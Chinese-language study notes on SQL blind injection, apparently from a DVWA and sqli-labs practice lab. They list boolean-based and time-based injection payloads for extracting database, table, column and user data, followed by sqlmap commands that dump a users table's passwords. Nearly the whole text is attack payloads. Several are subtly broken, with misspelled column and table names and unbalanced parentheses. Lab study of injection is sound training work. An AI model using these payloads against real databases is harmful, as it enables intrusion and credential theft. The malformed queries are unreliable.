Sql盲注
Sql盲注与Sql注入
盲注:目标只会回复是或不是,没有详细内容
注入:可以查看到详细的内容
Sql盲注过程
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名—>猜库名的长度—>猜库的名字
3.猜解数据库中的表名—>当前库中表的数量—>表名的长度—>表的名字
4.猜解表中的字段名—>当前表中字段的数量—>字段的长度—>字段的名字
5.猜解数据
使用场景
调整难度为Low
基于布尔值的盲注
先判断是字符型还是数字型
观察ID是否存在
1' and length(database())=1 #
##判断1与数据库长度等于1是否同时成立
##猜库名的长度
1' and ascii(substr(database(),1,1))>97 #
##依靠left函数(长度,字符串)判断,方法繁琐
##利用ASCII码判断
##substr(dvwa,1,1),起始位置为1,长度为1,显示一个字符:d
##判断d的ASCII码值大于97
##猜解字母
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1 #
##查询表
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=1 #
##查看表名长度
##判断dvwa的库里的第一个表长度是不是1
##limit限制(0,1),1))=1
##(0,1)0为起始位置,第一个表,后一个参数1是为了防止函数报错
##(1,1),1 代表第二个表
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>97 #
##length=1换为ASCII码大于97,判断表名
##(1,1),n 代表第n个字母
##(4,1),7 代表第五个表第7个字母
1' and length(substr((select columns_name from information_schema.columns where table_name='users' limit 0,1),1))=1 #
##共8列,判断列
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))>97 #
##判断users表中列名长度
##依次判断库名,表名,列名
1' and (ascii(substr(( select user from users limit 0,1),1,1)))=97 #
##依次判断库名,表名,列名
1' and (select count(column_name) from information_schema.columns where table_name='users')=1 #
##判断(1,1),2,1 第二个字母第2个数据
基于时间的盲注
解决1’ and 1’=’ 1 不显示是否存在的问题
基于万能拼接时间盲注
1' and sleep(5) #
##拼接不进去,页面有延迟,过了一会儿才刷新
1' and if(length(database())=1,sleep(5),1)#
##判断库名长度是否为1,假设如果长度等于1,延迟5秒
##不等于1,页面常量直接刷新
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)#
##(dvwa,2,1)第二个字母
##if函数大于97,延迟
##不大于97,过
1' and if((select count(table_name) from information_schema.tables where table_schema='dvwa')=1,sleep(5),1#
##判断库数量
##判断表数量
##判断列数量
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>97,sleep(5),1#
1' and if((select count(column_name) from information_schema.colums where table_name='users')=1,sleep(5),1)#
1' and if(length(substr((select column_name from information_schema.colums where table_name='users' limit 0,1),1))=1,sleep(5),1)#
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))>97,sleep(5),1)#
##判断数据
Kali
Kali
##安全渗透系统,大量资源,推荐 sqlmap
##自动化注入
sqlmap -u '192.168.5.151/sqllabs/Less-1/?id=1'
##-u为链接
##联合查询,布尔盲注,时间盲注都可以运行
##可以显示是否有注入
sqlmap -u '192.168.5.151/sqllabs/Less-1/?id=1' --dbs
##查找数据库
sqlmap -u '192.168.5.151/sqllabs/Less-1/?id=1' -D dvwa --tables
##dvwa的库的两个表
sqlmap -u '192.168.5.151/sqllabs/Less-1/?id=1' -D dvwa -T users --columns
sqlmap -u '192.168.5.151/sqllabs/Less-1/?id=1' -D dvwa -T usersv -C user.password --dump
##查找数据